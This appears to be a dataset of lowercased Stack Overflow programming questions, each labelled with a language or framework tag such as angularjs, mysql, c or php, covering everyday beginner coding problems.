play multiple sounds in own scopes using ngaudio  i am new to angularjs  looking for a way to simultaneously start multiple sounds invoked with ng-repeat in their own scopes (using ngaudio).   <pre><code>angular.module( soundspage [ ngaudio ]) .controller( mainsounds  function($scope ngaudio){     $scope.audiofiles =[         {url:  bass.mp3 }          {url:  flute.mp3 }     ]; }); .controller( eachsound  function($scope ngaudio){     $scope.audio = ngaudio.load($scope.audiofile.url);     }); }); ----------------------------- &lt;button&gt;play all sounds&lt;/button&gt; &lt;div ng-repeat= audiofile in audiofiles  ng-controller= eachsound &gt;     {{audiofile.url}}      &lt;button ng-click= audio.play() &gt;play sound&lt;/button&gt; &lt;/div&gt; </code></pre>   maybe i should not be using ng-repeat with a controller. i need this to work with different sets of sounds.,angularjs
update time based on previous records in mysql  i have the following set of records:   <pre><code>+------------------------------------------+ | id  | datetimevalue       | usedminutes  | | 1   | 2016-01-01 00:00:00 | 30           | | 2   | 2016-01-01 00:00:00 | 45           | | 3   | 2016-01-01 00:00:00 | 20           | | 4   | 2016-02-02 00:00:00 | 30           | | 5   | 2016-02-02 00:00:00 | 60           | +------------------------------------------+ </code></pre>   i would like to transform them to:   <pre><code>+------------------------------------------+ | id  | datetimevalue       | usedminutes  | | 1   | 2016-01-01 00:00:00 | 30           | | 2   | 2016-01-01 00:30:00 | 45           | | 3   | 2016-01-01 01:15:00 | 20           | | 4   | 2016-02-02 00:00:00 | 30           | | 5   | 2016-02-02 00:30:00 | 60           | +------------------------------------------+ </code></pre>   so per date  the time value should be incremented based on the previous record and its  used minutes  field. my actual record set has thousands of records  so manually modifying is not an option.    is it possible to do this with a (single) mysql query,mysql
quiz gives wrong answer even though i answered correctly python  i m quite the noobie when it comes to  python programming. however i need as soon as possible a quiz making program which gives me % score at the end. here s what i ve done so far:   <pre><code>#coding: utf-8  from random import shuffle  qas = [ ( kvarts    sio2 )  ( gull    au )  ( sølv    ag )  ( kobber    cu )  ( platina    pt )  ( grafitt    c )  ( diamant    c )  ]  shuffle(qas) numright = 0  for question  rightanswer in qas: answer = raw_input(question +    ) if answer.lower( ) == rightanswer: print  correct  numright +=1 else: print  wrong  the correct answer is   + rightanswer print  you got %d and %d wrong.  % (numright  len(qas) - numright) </code></pre>   i get the program to work slightly but even though i answer correctly it still gives me wrong answer like this:   <pre><code>diamant c wrong  the correct answer is c kvarts sio2 wrong  the correct answer is sio2 </code></pre>   i don t know what to do to fix this.,python
confused about how i should handle my looping thread  i m currently confused on how i should solve a certain problem:    i have a thread  whose <code>run()</code> method approximately looks like this:   <pre><code>@override public void run() {     running = true;      while(running) {         foo(x);         draw(x);     } } </code></pre>   now this foo does something with variable <code>x</code>.    in the main thread theres a listener executing a method  which also changes <code>x</code>   <pre><code>@override public void mousedragged(mouseevent e) {     bar(x); } </code></pre>   the problem is now  that sometimes <code>x</code> gets modified by the <code>bar(x)</code> method  while <code>foo(x)</code> also changes <code>x</code>  which messes <code>x</code> up.    what i think could be done to fix this is for the listener  when firing  to wait for the loop to reach its end  execute its method and <code>bar(x)</code> while letting the thread wait and then notify the thread to let it continue looping after that.    i m not very experienced with thread-handling though and would appreciate it  if someone helped me out. sorry if this problem is really easy to solve and i just can t see the solution.,java
is there any way  no manually  to prefix prismjs class names because it conflitant with front-end framworks   just starting using <a href= http://bulma.io  rel= nofollow >bulma</a> front end framework  everything is going good until try to use <a href= http://prismjs.com/  rel= nofollow >prismjs</a> and start getting conflit with styles because prismjs do not prefix their classes name.    the main problem are with:   <pre><code>.number { ... } </code></pre>   and    <pre><code>.tag {...} </code></pre>   it can be override manually but it is not a good practice. this names are too generic or common to not be prefixed by prismjs.    is there any way to work around this,css
query multiple tables and group by month/year  i am working with 3 tables: user(id firstname lastname type disabled) comment(id sender date) comment_recipient(comment_id user_id)    i m trying to find data on users that have given or received comments for a given month/year. my desired result row:  first name | last name | comments given | comments received | month | year    a single comment can have multiple recipients(many entries in comment_recipient)    i started by following this question  which seemed somewhat similar: <a href= https://stackoverflow.com/questions/9699533/group-by-month-and-year-count-from-another-table >group-by-month-and-year-count-from-another-table</a>    here is what i currently have:   <pre><code>select   firstname as  first name     lastname as  last name     given as  comments given     received as  comments received     monthname(d_yearmonth) as month    year(d_yearmonth) as year from (   select     last_day(c.date) as d_yearmonth      u.firstname      u.lastname      (select count(*) from comment as c1 where c1.sender=c.sender     and last_day(c1.date)=d_yearmonth) as given       24  as received   from comment as c   join comment_recipient as cr on cr.comment_id=c.id   join user as u on u.id=c.sender   where u.type&lt;4 and u.disabled=0   group by     d_yearmonth ) as s order by year desc  month(d_yearmonth) desc </code></pre>   i m just using  24  for  received  at the moment as i m trying to figure this out 1 piece at a time    i don t need to count every user or every month  so if they would return 0 for both given and received  they can be ignored,mysql
segmentation fault in c. works in main but not my function  i am trying to create a program that will check a name the user enters to a file and see how many occurences there are of it within the file. however in my getrawdata func i keep getting a segmentation fault.    here is the code:   <pre><code>struct namerecord{ // holds all the name information     int year;     char name [31];     int frequency; };   void allcaps(char s[]){ //capitalizes all of the characters of s     int i=0;     while (s[i])         {             s[i] = toupper(s[i]);             i++;         }     printf( the name entered is now in all caps! %s   s); }  int getrawdata1(file* male  struct namerecord records[]  int currsize){     int readresult;     printf( the current size is %d   currsize);     readresult=fscanf(&amp;*male   %d   &amp;records[currsize].year); } //main int main (){     char name [31];     file *male;     file *female;     int size = 0;     //opening files     male = fopen( malebabynames.csv    r ); //dont leave in home directory      female = fopen( femalebabynames.csv    r );     struct namerecord records[160000];      if ( male==null){         printf ( error: the data file does not exist );     }     if ( female==null){         printf ( error: the data file does not exist );     }      size = getrawdata1(male  records  size);     //output        printf( please enter a name:  );     scanf( %s   name);     allcaps(name); } </code></pre>  <h3>revised code — still crashing</h3>   original version at <a href= http://codepad.org/cgpfyqkm  rel= nofollow >codepad</a>; this version <a href= http://sscce.org/  rel= nofollow >sscce</a> d.   <pre><code>#include &lt;stdio.h&gt;  struct namerecord {     int year;     char name[31];     int frequency; }; struct namerecord records[160000];  void allcaps(char s[]) {     int i = 0;     while (s[i])     {         s[i] = toupper(s[i]);         i++;     }     printf( the name entered is now in all caps! %s   s); }  int getrawdata1(file *male  struct namerecord records[]  int currsize) {     int readresult;     printf( the current size is %d   currsize);     readresult = fscanf(male   %d %[^ ] %d\n   &amp;records[currsize].year                          records[currsize].name  records[currsize].frequency);      while (readresult == 3)     {         currsize++;         readresult = fscanf(male   %d %[^ ] %d\n   &amp;records[currsize].year                              records[currsize].name  &amp;records[currsize].frequency);     }     printf( the size of the array is %d   currsize);     return currsize; }  int main() {     char name[31];     file *male;     file *female;     int size = 0;      male = fopen( malebabynames.csv    r );     female = fopen( femalebabynames.csv    r );     int i = 0;     int readresult;     if (male == null)     {         printf( error: the data file does not exist );     }     if (female == null)     {         printf( error: the data file does not exist );     }     getrawdata1(male  records  size);      printf( welcome to the name popularity checker \n====================================== \n );     printf( please enter a name:  );     scanf( %s   name);     allcaps(name); } </code></pre>,c
replacing a character string with a letter  beginner at c here. i ve tried searching for this kind of problem  but to no avail  i haven t found anything regarding this problem. so as the title says  i need to change the string with  x  but my output looks like this:   <pre><code>your ssid is: x your ssid is: x your ssid is: x... </code></pre>   (repeats until how many characters your ssid has)    wherein it should look like this:   <pre><code>your ssid is: xxxxxxxxxx... </code></pre>   my code is   <pre><code>for(i=0;id[i] !=  \0 ;i++) {   printf( your ssid is: %c    x );   printf( \n )  } </code></pre>,c
disable the save option from downloading window  in asp.net   in web application  i am trying to disable or remove the save dialog   when user click the download option. can you help me. thank you. like do you want to open or save this file  in this option i want only open option not save option.,asp.net
background image showing up too high  i have a <code>background.png</code> that for some reason when i insert in body as <code>background-image</code> shows up about 30px too high  and 20px too far to the right.    i set:   <pre><code>html  body  * {     margin: 0;     padding: 0; } </code></pre>   and that doesn t seem to affect it.,css
how to save a php variable when a page loads twice  a user enters two dates periods on a text-box and a sql select statement picks mobile numbers from a database entered in between the period. i want to pick and display them on a page. on the same display page  i have a text area where a user can type a message and on submit  it should be sent to these selected numbers and displayed mobile numbers. i am having a challenge on passing the $mobilenumber to the function sendbulk that is to send the message to the mobile numbers displayed by $mobilenumber variable. everything else is okay apart from passing the $mobilenumber. i think this is because after the page loads to display the contacts selected  on the second load as you submit the $message to bulk function the value of $mobilenumber is already lost. how can i save it.  check sample code below and please advice. how do i save the $mobilenumber so that by the second load it is still there to be passed  to the function sendbulk()  anyone    <pre><code>&lt; php    //define variable and set to empty values  $message =    ;  if ($_server[ request_method ] ==  post ) {    $message = test_input($_post[ message ]);   echo  $message ; }  function test_input($data) {   $data = trim($data);   $data = stripslashes($data);   $data = htmlspecialchars($data);   return $data; }    $time1             = isset($_post[ t1 ])   $_post[ t1 ] :  default something missing ; $time2             = isset($_post[ t2 ])   $_post[ t2 ] :  default something missing ;    //connection  $sql =   select distinct msisdn from customer where date_format(time_paid   %y-%c-%e ) between adddate( $time1  interval 0 hour) and adddate( $time2  interval  23:59  hour_minute) ; $result = $conn-&gt;query($sql);  if ($result-&gt;num_rows &gt; 0) {    echo   recipients:  ;  echo  $result-&gt;num_rows &lt;br&gt; &lt;br&gt; ;     // output data of each row     while($row = $result-&gt;fetch_assoc()) {  $mobilenumber = $row[ msisdn ];       echo  mobile :   .  $mobilenumber  .  &lt;br&gt; ;      } } else {     echo  no contacts to display ; }  $conn-&gt;close(); sendbulk($mobilenumber $message);   &gt;   &lt;center&gt;&lt;/center&gt; &lt;form method= post  action= &lt; php echo htmlspecialchars($_server[ php_self ]); &gt; &gt;      &lt;textarea name= message  rows= 6  cols= 60  placeholder= please type your message here &gt;&lt;/textarea&gt;   &lt;br&gt;&lt;br&gt;    &lt;input type= submit  name= submit  value= send message &gt;   &lt;/form&gt;&lt;/center&gt;   &lt; php  function sendbulk($mobilenumber $message) {  echo  $mobilenumber ; echo  $message ;        $servicearguments = array(          mobilenumber  =&gt; $mobilenumber           message  =&gt; $message_sent     );      $client = new soapclient( http://******* );      $result = $client-&gt;process($servicearguments);        return $result;   } </code></pre>,php
fill: selectcommand.connection property has not been initialized. what to do   when i try to use the method <code>getcities()</code>  it says:   <blockquote>    fill: selectcommand.connection property has not been initialized.  </blockquote>   can anyone please advise on what to do    <pre><code>public class citiesservice {     public dataset ds;     public oledbconnection myconnection;     public oledbdataadapter adapter;     public oledbdataadapter adapter2;      public citiesservice()     {        }      public dataset getcities()     {         oledbcommand mycmd = new oledbcommand( sptblcities   myconnection);         mycmd.commandtype = commandtype.storedprocedure;         oledbdataadapter adapter = new oledbdataadapter();         adapter.selectcommand = mycmd;         dataset dataset = new dataset();          try         {             adapter.fill(dataset   tblcities );             dataset.tables[ tblcities ].primarykey = new datacolumn[]             {                  dataset.tables[ tblcities ].columns[ cityid ]             };         }         catch (oledbexception ex)         {             throw ex;         }          return dataset;     }  } </code></pre>,c#
javascript document loading event  is there any javascript document loading event which which will activate after: the html is loaded but the not displayed in the browser,javascript
jquery check a specific class name is available in an element even there is multiple class names <pre><code>var cname = $( .cm_lhs ).children( div ).first().attr( class ); if (cname ==  tile_nav ) { alert(cname); } </code></pre>   how to check element class name contains at least the class name  tile_nav  if there is multiple class names,jquery
a local variable in an angular template  here is the code i was <em>planning</em> to write:   <pre><code>&lt;div ng-repeat= row in rows &gt;   &lt;div ng-init= localvar = somecomplicatedfunction(row) &gt;      {{localvar.somevalue}}      {{localvar.someothervalue}}   &lt;/div&gt; &lt;div&gt; </code></pre>   but here is the warning in the <a href= https://docs.angularjs.org/api/ng/directive/nginit  rel= nofollow >docs</a>:   <blockquote>    the only appropriate use of nginit is for aliasing special properties of ngrepeat  as seen in the demo below. besides this case  you should use controllers rather than nginit to initialize values on a scope.   </blockquote>   i don t understand what i am being told here.  how would i even ask the controller to do anything here without <code>ng-init</code>,angularjs
deleting from subquery  my query isn t working:   <pre><code>delete from (      select *      from `chat`      order by `message_id` asc      limit 50 ) as deleted </code></pre>,mysql
generating alphanumerical sequence javascript  i have written a terribly slow function for generating codes that go from aa000 to zz999 (in sequence not random). and i have concluded that there has to be a better way to do this. any suggestions on how to make this faster    <pre><code>function generatealphanumeric(){  thealphabet = [ a   b   c   d   e   f   g   h   i   j   k   l   m   n   o   p   q   r   s   t   u   v   w   x   y   z ]; resultarrray = []; resultarrray2 = []; teller = 0;  for(i in thealphabet){     for(x in thealphabet){         resultarrray[teller] = thealphabet[i] + thealphabet[x];         teller++;     } } teller = 0; for(x = 0; x&lt;10; x++){     for(y = 0; y&lt;10; y++){         for(z = 0; z&lt;10; z++){             resultarrray2[teller] = x.tostring() + y.tostring() +z.tostring();             teller++;         }     } } teller = 0; finalarray = []; for(index in resultarrray){     for(i in resultarrray2){         finalarray[teller] = resultarrray[index] + resultarrray2[i];         teller++;     } } //console.log(resultarrray); //console.log(resultarrray2); console.log(finalarray); } </code></pre>,javascript
minimise repetition of bindings in view  i m new to angular  as will probably become apparent!    i ve created a view with a few tables of data to show users different statistics.  a simple example would be:   <pre><code>&lt;div class= table-container &gt;     &lt;table class= percs &gt;         &lt;thead&gt;             &lt;tr&gt;                 &lt;td&gt;stat name&lt;/td&gt;                 &lt;td&gt;stat value&lt;/td&gt;                 &lt;td&gt;stat bar&lt;/td&gt;             &lt;/tr&gt;         &lt;/thead&gt;         &lt;tbody&gt;             &lt;tr&gt;                 &lt;td&gt;stat 1&lt;/td&gt;                 &lt;td&gt;{{ statpercs.stat1 }}&lt;/td&gt;                 &lt;td&gt;&lt;uib-progressbar value= statpercs.stat1 &gt;&lt;/uib-progressbar&gt;&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td&gt;stat 2&lt;/td&gt;                 &lt;td&gt;{{ statpercs.stat2 }}&lt;/td&gt;                 &lt;td&gt;&lt;uib-progressbar value= statpercs.stat2 &gt;&lt;/uib-progressbar&gt;&lt;/td&gt;             &lt;/tr&gt;         &lt;/tbody&gt;     &lt;/table&gt; &lt;/div&gt; </code></pre>   i m using the progressbar just for a small visual representation of the data.  however if my understanding so far is correct  although each row in the table only references one value it will incur 2 $$watchers by being referenced in 2 separate tags.    is it possible to achieve this with just one binding per value (i.e.  statpercs.stat1    statpercs.stat2   etc) but still be able to re-use that value in multiple columns of the table     or even better still  one binding for the object itself (i.e.  statpercs ) and still be able to use the values contained in that object in multiple places in the table,angularjs
displaying an array big elements  i want to display array using a method  if the array has under 200 elements it display all the elements  which works fine for me. the problem is if the array has over 200 elements i want to display the first 100 elements and the last 100 elements of an array. it works if i use an array of 500 elements or even 10000  but i type something like 9999 or 8999 i get long negative integer numbers on the bottom half of my display list but the top half half works. any advice    <pre><code>int main() {    string filename text  size;    fstream intext;    int lengthof = 0;    cout &lt;&lt;  please enter an input file name:  ;    getline(cin  filename);    intext.open(filename.c_str()   fstream::in);    if(!intext)    {        cout &lt;&lt;  could not open   &lt;&lt; filename &lt;&lt;   file  &lt;&lt; endl;        exit(exit_failure);    }    else    {    intext &gt;&gt; lengthof;    int * myarray  = new int[lengthof];    for(int i = 0; i &lt; lengthof; i++)    {         intext &gt;&gt; myarray[i];    }     cout &lt;&lt;  data file array   &lt;&lt; endl;    displayarray(myarray lengthof);   }  return 0;  } void displayarray (int a[]  int s) { if(s &lt;= 200) {     for (int i = 0; i &lt; s; ++i)     {         if(i%10 == 0)         {             cout &lt;&lt; endl;         }         cout &lt;&lt; setw(6) &lt;&lt; a[i] &lt;&lt;    ;     }     cout &lt;&lt; endl; } else {     for(int  i = 0; i &lt; 100; i++)     {         if(i%10 == 0)         {             cout &lt;&lt; endl;         }         cout &lt;&lt; setw(6) &lt;&lt; a[i] &lt;&lt;    ;     }     cout &lt;&lt; endl;     for (int i = s-100; i &lt; s; ++i)     {         if (i%10 == 0)         {             cout &lt;&lt; endl;         }         cout  &lt;&lt; setw(6) &lt;&lt; a[i] &lt;&lt;    ;     }     cout &lt;&lt; endl;    }  } </code></pre>,c++
need help creating a relational database table  what would be the best way to create a relational flow for these tables   it s basically a flow for a checklist and these are the tables i want to relate. (the category and item table are preset values that people can select).    which of the tables should i put the userid to link them  attached find the screenshot. here an overview of the relationship i did: // category table category_id (pk) ... ...    // item table item_id (pk) category_id (fk) ...    <em>nb: i m relatively new to databases</em> <a href= http://i.stack.imgur.com/aejxn.jpg  rel= nofollow >database flow</a>,mysql
looking for a simple way to truncate a string in c#  i used the following:   <pre><code>t.description.substring(0  20) </code></pre>   but there is a problem if there are less than 20 characters in the string. is there a simple way (single inline function) that i could use to truncate to a maximum without getting errors when the string is less than 20 characters,c#
troubleshoot angular views when no error happens  i am beginning to learn angular  and i am having this issue. i am getting data from a web service using rest  then passing this data to the controller as <code>data.d.results</code>  i check in developer tools and results.length is 11  all is fine. i modified my html to include <code>ng-app ng-controller</code>. my html for the controller wrapper looks like this:    <pre><code> &lt;table ng-controller= listscontroller as vm &gt;                         &lt;thead&gt;                             &lt;tr&gt;                                 &lt;td&gt;image&lt;/td&gt;                                 &lt;td&gt;product&lt;/td&gt;                                 &lt;td&gt;code&lt;/td&gt;                                 &lt;td&gt;available&lt;/td&gt;                                 &lt;td&gt;price&lt;/td&gt;                             &lt;/tr&gt;                         &lt;/thead&gt;                         &lt;tbody&gt;                             &lt;tr ng-repeat= product in vm.products &gt;                                 &lt;td&gt;                                     &lt;img ng-src= {{product.imageurl.url}}  title= {{product.title}}  style= width: 50px;margin:2px;  /&gt;                                 &lt;/td&gt;                                 &lt;td&gt;{{product.title}}&lt;/td&gt;                                 &lt;td&gt;{{product.productcode}}&lt;/td&gt;                                 &lt;td&gt;{{product.releasedate}}&lt;/td&gt;                                 &lt;td&gt;{{product.price | currency}}&lt;/td&gt;                             &lt;/tr&gt;                         &lt;/tbody&gt;                     &lt;/table&gt; </code></pre>   and my controllerjs file looks like this:    <pre><code>(function () { angular     .module( sitemanagerapp )     .controller( listscontroller                   listscontroller);  function listscontroller() {     var vm = this;     var getproducts = getallitems( products );     getproducts         .done(function (data  status  jqxhr) {             vm.products = data.d.results;         })         .fail(function (jqxhr  status  error) {             logerror(error);         });    } }()); </code></pre>   i am checking in developer tools  and at the end  vm.products is populated with the data from the service. but why my table isn t filled with the data  how can i troubleshoot problems related to it  no errors are shown for me or anything.,angularjs
optimize sql statement  i have a requirement to update a column in table a if the count of records in table b grouped by 3 columns (matching between a and b) is less than 7. i have written below query  but it is running long. please suggest any optimal query or tune this.   <pre><code>update /*+ parallel(a) */ a set a.col4=0 where exists       (select 1         from b         where a.col1=b.col1 and a.col2=b.col2           and a.col3=b.col3         group by col1 col2 col3        having count(*) &lt; 7) </code></pre>,sql
calling same viewcontroller again and again  i am having a uitableview class.i am loading it again and again  by loading different contents ever time on click of a cell. say my class is testviewcontroller and i am calling it again in dedselectrowatindexpath as by allocating it and calling pushviewcontroller..it is working very fine..i want to ask is it the right way    the problem is i don t now how many subcategory a main category has.and further a subcategory has.i have to dig deep till last subcategory....i can t fix the limit of view s,objective-c
struct of pointers  i m trying to store an array of structs with each struct having pointers but i get a  initialization makes pointer from integer without a cast  message in creating the array.   <pre><code>struct fl_valueags {    tcflag_t *fl_value;    flagtype_t *fl_type; }; ...  struct fl_valueags t_flags[] = { { ttyinfo-&gt;c_iflag  input }  {      ttyinfo-&gt;c_oflag  output }  { ttyinfo-&gt;c_cflag  control }  {        ttyinfo-&gt;c_lflag  local } }; </code></pre>,c
why @throw in objective-c is an expensive operation   i heard the notion of @throw is expensive in objective-c  what is the reason behind it  is <code>throw</code> in java also expensive too,objective-c
c++ - pointer array to vector  <pre><code>double * values; // instead of this  std::vector&lt;double&gt; values; // i want this. </code></pre>   an api i m using provides a result as <code>double*</code> pointer. i want to wrap this with the <code>std::vector&lt;double&gt;</code> type.,c++
delete nsmanageobject at the event tableview:commiteditingstyle:forrowatindexpath:  i got exception when i tried to delete one nsmanageobject at the event of tableview:commiteditingstyle:forrowatindexpath:.  here is the part of my codes:   <pre><code>- (void)tableview:(..)tableview commiteditingstyle:(..)editingstyle    forrowatindexpath:(..)indexpath {   if (editingstyle == uitableviewcelleditingstyledelete) {     [managedobjectcontext deleteobject:       [fetchedresultcontroller objectatindexpath:indexpath]];      ...   } } </code></pre>   the exception was thrown at the line of deleteobject:(method of my local nsmanagedobjectcontext). this is the exception message:     <em>uncaught exception  nsobjectinaccessibleexception   reason:  the nsmanagedobject with id:0x3d07a30 &lt;x-coredata://0d2cc9cb-042b-496d-b3fe-5f1ed64eab97/paymenttype/p2&gt; has been invalidated. </em>    i tried to get entity object first and then to delete it. the entity looks ok but still the exception was at delete:   <pre><code> nsmanagedobject *entitytodelete =      [fetchedresultscontroller objectatindexpath:indexpath];  [mangedobjectcontext deleteobject:entitytodelete]; // exception again. </code></pre>   i am not sure if the entity object retrieved from the fetchedresultscontroller(nsfetchedresultscontroller type) cannot be deleted  if so  is there any other way to get the entity object for deleting     i found that in the <a href= http://developer.apple.com/iphone/library/documentation/datamanagement/conceptual/iphonecoredata01/articles/04_adding.html#//apple_ref/doc/uid/tp40008305-ch106-sw2  rel= nofollow noreferrer >apple s core data tutorial for iphone with events example</a>  there is on nsarray to hold event entity objects. i am not sure if that s necessory to use nsarray to hold my local entity objects and then use it for deleting,iphone
unclear java.util.concurrentmodificationexception  <strong>why did it happen </strong>    i have written this code and it throws <strong>java.util.concurrentmodificationexception</strong>   <pre><code>list&lt;integer&gt; list = stream.iterate(0  t -&gt; t + 1).limit(10).collect(collectors.tolist()); system.out.println(list); list&lt;integer&gt; sublist = list.sublist(5  list.size()); list.removeall(sublist); system.out.println(sublist); system.out.println(list); </code></pre>   but next code doesn t throw   <pre><code>list&lt;integer&gt; list = stream.iterate(0  t -&gt; t + 1).limit(10).collect(collectors.tolist()); system.out.println(list); list&lt;integer&gt; sublist = list.sublist(5  list.size()); system.out.println(sublist); list.removeall(sublist); system.out.println(list); </code></pre>,java
download file via handler without ending current response  on my page i have a button to download a document. i am building the page with steps  so step 1 is choosing a type  step 2 is downloading the document and step 3 is to write some information in a textbox.    what i would like to do is to show step 3 after the button for the download has been pressed.    so in the button_click event i first put some code to show step 3 and then i need to do something to download the form.    to download the document i use a ashx handler file. that works fine.    but my problem is that when i go to that handler  my page is not updated.    i used    <pre><code>response.redirect( givefile.ashx file=document.doc  false) </code></pre>   after some reading i found that using response.redirect ends the current response so the page is not updated.    i was thinking of creating a new response and redirect that one to the handler file  but i can t find an example to see how that is done. i also don t know if it will work.    i also tried    <pre><code>server.transferrequest( givefile.ashx file=document.doc  true) </code></pre>   but that also ends the current response.    who can help me with this     rg  eric,asp.net
angularjs drop down list quandry  this code works    <pre><code>&lt;select ng-model= connectionsdropdown  ng-options= campaign as campaign.title       for campaign in campaigns  ng-change= onconnectioncampaignchanged(connectionsdropdown) &gt;  &lt;/select&gt; </code></pre>   the newly selected value is passed to <code>onconnectioncampaignchanged</code>.    however  there is a blank entry at the start of the drop down list.    some googling told me that i could remove it by adding     <pre><code>track by connectionsdropdown </code></pre>   however  when i try   <pre><code>&lt;select ng-model= connectionsdropdown  ng-options= campaign as campaign.title       for campaign in campaigns  ng-change= onconnectioncampaignchanged(connectionsdropdown)     track by connectionsdropdown &gt;  &lt;/select&gt; </code></pre>   <code>onconnectioncampaignchanged</code> receives the current value  not the newly selected one.    how do i reconcile the two     i want:<br>  - a drop down list with no blank entry<br>  - to be able to preset the selected value when switching to that view<br>  - to pass the selected value to <code>onconnectioncampaignchanged</code> when he use chooses another entry,angularjs
limit buffer in read() function  i have to create a program that asks from standard input a string and write in standard error the string previously written. this is my program:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;unistd.h&gt; #include &lt;string.h&gt;   int main() {     char *buffer = malloc(sizeof(char)*20);     int len = 0;      do {         len = read(stdin_fileno  buffer  20);         if(len == -1)             write(stderr_fileno   error read\n   10);         else             write(stderr_fileno  buffer  len);     } while(strncmp(buffer  fine\n   5));      free(buffer);     return 0; } </code></pre>   the code works but i m not satisfied..there is one problem: the buffer is a 20char but i can insert more than 20 char...why  how i can limit the buffer to only 20 char,c
incorrect syntax near 0  im getting this error message i ve tried to look at my code i cant seem to see where its coming from  please help.    error:-    <blockquote>    msg 102  level 15  state 1  procedure _testbsppostaptrans  line 249   incorrect syntax near  0 .  </blockquote>  <pre><code>set ansi_nulls on go create procedure [dbo].[_testbsppostaptrans]   @autoidx bigint = null output    @txdate datetime    @id varchar(5)    @accountlink int    @trcodeid int    @debit float    @credit float    @currencyid int    @exchangerate float    @foreigndebit float    @foreigncredit float    @description varchar(100)    @taxtypeid int    @reference varchar(50)    @order_no varchar(50)    @extordernum varchar(50)    @auditnumber varchar(50)    @tax_amount float    @foreigntaxamount float    @project int    @outstanding float    @foreignoutstanding float    @invnumkey bigint    @username varchar(20)    @reference2 varchar(50)    @settlementtermsid int    @txbranchid int    @gltaxaccountid int = 0    @clineuserfields varchar (max) =      as set nocount on set identity_insert postap on if (isnull(@accountlink  0) = 0) begin   raiserror( _bsppostaptrans: no accounts payable account specified!   16  1)   return 0 end else if (isnull(@id    ) =   ) begin   raiserror( _bsppostaptrans: no transaction id specified!   16  1)   return 0 end else if (isnull(@trcodeid  0) = 0) begin   raiserror( _bsppostaptrans: no transaction code specified!   16  1)   return 0 end else if (isnull(@auditnumber    ) =   ) begin   raiserror( _bsppostaptrans: no audit trail number specified!   16  1)   return 0 end --begin tran --cc: will now be controlled in code declare @sperror int declare @branchid int select @branchid = vendor_ibranchid from vendor where dclink = @accountlink if isnull(@autoidx  0) &lt;= 0 begin if isnull (@accountlink  0) = 4917 begin         set nocount on         set identity_insert postar on         --begin tran --cc: will now be controlled in code         select @branchid = client_ibranchid from client where dclink = @accountlink         select @autoidx = ident_current( postar ) + 1         insert into postar               (               autoidx                txdate                [id]                accountlink                trcodeid                debit                credit                icurrencyid                fexchangerate                fforeigndebit                fforeigncredit                [description]                taxtypeid                reference                order_no                extordernum                cauditnumber                tax_amount                fforeigntax                project                outstanding                fforeignoutstanding                invnumkey                 username                creference2                ipostsettlementtermsid                itxbranchid                igltaxaccountid                 )             values               (               @autoidx                @txdate                @id                @accountlink                @trcodeid                @debit                @credit                @currencyid                @exchangerate                @foreigndebit                @foreigncredit                @description                @taxtypeid                @reference                @order_no                @extordernum                @auditnumber                @tax_amount                @foreigntaxamount                @project                @outstanding                @foreignoutstanding                @invnumkey                @username                @reference2                @settlementtermsid                @txbranchid                @gltaxaccountid                )                  set @sperror = @@error                 set identity_insert postar off              -- post user defined fields             if (len (@clineuserfields) &gt; 0) begin               declare @udfsqltext1 varchar(max)               set @udfsqltext1  =   update postar set   + @clineuserfields +    where autoidx =   + cast(@autoidx as varchar)               execute (@udfsqltext1)               set @sperror = @@error               if @sperror &lt;&gt; 0 goto aborttran               -- update client balances              end                update dbo.client               set dcbalance = round(isnull (dcbalance  0) + (@debit - @credit)  4)                fforeignbalance = round(isnull(fforeignbalance  0) + (@foreigndebit - @foreigncredit)  4)               where dclink = @accountlink               set @sperror = @@error               if @sperror &lt;&gt; 0 goto aborttran1               goto committran1               --rollback tran --cc: will now be controlled in code               raiserror (@sperror  16  1)               return @sperror               if @sperror &lt;&gt; 0 goto aborttran    end    select @autoidx = ident_current( postap ) + 1 insert into postap   (   autoidx    txdate    [id]    accountlink    trcodeid    debit    credit    icurrencyid    fexchangerate    fforeigndebit    fforeigncredit    [description]    taxtypeid    reference    order_no    extordernum    cauditnumber    tax_amount    fforeigntax    project    outstanding    fforeignoutstanding    invnumkey    dtstamp    username    creference2    ipostsettlementtermsid    postap_ibranchid    itxbranchid    igltaxaccountid   ) values   (   @autoidx    @txdate    @id    @accountlink    @trcodeid    @debit    @credit    @currencyid    @exchangerate    @foreigndebit    @foreigncredit    @description    @taxtypeid    @reference    @order_no    @extordernum    @auditnumber    @tax_amount    @foreigntaxamount    @project    @outstanding    @foreignoutstanding    @invnumkey    getdate()    @username    @reference2    @settlementtermsid    @branchid    @txbranchid    @gltaxaccountid   ) set @sperror = @@error set identity_insert postap off if @sperror &lt;&gt; 0 goto aborttran1 -- post user defined fields if (len (@clineuserfields) &gt; 0) begin   declare @udfsqltext varchar(max)   set @udfsqltext  =   update postap set   + @clineuserfields +    where autoidx =   + cast(@autoidx as varchar)   execute (@udfsqltext)   set @sperror = @@error   if @sperror &lt;&gt; 0 goto aborttran1 end -- update vendor balances update vendor set dcbalance = round(isnull (dcbalance  0) + (@credit - @debit)  4)    fforeignbalance = round(isnull(fforeignbalance  0) + (@foreigncredit - @foreigndebit)  4) where dclink = @accountlink set @sperror = @@error if @sperror &lt;&gt; 0 goto aborttran1 goto committran1 aborttran1:   --rollback tran --cc: will now be controlled in code   raiserror (@sperror  16  1)   return @sperror committran1:   --commit tran --cc: will now be controlled in code   return 0 --scope_identity() -- return can only return an int  not a bigint             -- autoidx has been added as a paramater for the ba sync and is an output paramter  go </code></pre>   any help will be greatly appreciated,sql
how to call a generic method using a type returned from a different method   i have two types person and organisation both inheriting from <code>icontact</code>.    i have a method that returns one of these types based on some logic   <pre><code>private type getpersonororganisation(string some variable) {    either returns person or organisation type } </code></pre>   i have a method which queries the database for persons or orgs:   <pre><code>public static iqueryable&lt;t&gt; query&lt;t&gt;(this iuow uow) where t : icontact         {             return uow.query&lt;t&gt;();         } </code></pre>   my question is how can i use the type returned from <code>getpersonororganisation</code> to call query.    so say:   <pre><code>var contacttype = getpersonororganisation(string some variable);   var contact = query&lt;contacttype&gt;(); </code></pre>   where contacttype will be either person or organisation.    well obviously that won t compile and that s my question. how to make the query on the right type from the database based on what is returned from <code>getpersonororganisation</code>.,c#
